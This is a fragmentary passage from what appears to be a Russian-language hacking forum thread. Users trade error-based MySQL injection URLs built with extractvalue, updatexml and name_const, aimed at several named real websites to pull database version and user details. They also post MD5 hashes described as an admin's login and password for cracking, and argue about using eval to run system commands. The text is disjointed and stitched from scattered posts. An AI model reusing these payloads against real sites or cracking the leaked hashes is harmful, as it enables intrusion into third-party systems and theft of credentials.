Separate names with a comma.
name_const здесь не надо использовать в связи с ее особенностями на разных версиях маскула. Кроме констант ты ничего не выведешь, да и вопрос...
Вот мой [img]
http://old914.fc-zenit.ru/info/Video.phtml?id=1'+and+extractvalue(0x3b,concat(0x3b,(select+concat_ws(0x3a,version(),user()))))--+&video=1
После коментария пробел поставь
http://www.gasniergicquel.com/customer/home.php?cat=2'and(select*from(select(name_const((select(concat_ws(0x3a,version(),user()))),1)),name_const((...
И опять бред, ты я смотрю главный распространитель дезинформации тут.
[IMG] Сначала пишешь вставить эвал, а потом юзаешь системные команды(непосресдтвенно через эвал), да еще и с неправильными аргументами...
Херню не неси
getdota.com http://www.getdota.com/app/getmap/ POST:...
Там несколько запросов http://www.euromet.ru/search/?search=ololo' and updatexml(0x03b,concat(0x3b,(select version())),0x03b)-- x
5c43dd34e9125cbd7a7e6004662c9239:b,o c7c6be0efbe1a10c7823481fc659d82d:%t9
Ну ты хакир, больше и добавить нечего.
44235aaa3203c9b0ba2cd69ac848a07c
Логин и пасс админа....
md5(md5($pass)) 2a66023cc188de4db30c6304e40d2226 ef97e539736228f588b235558fcd4b11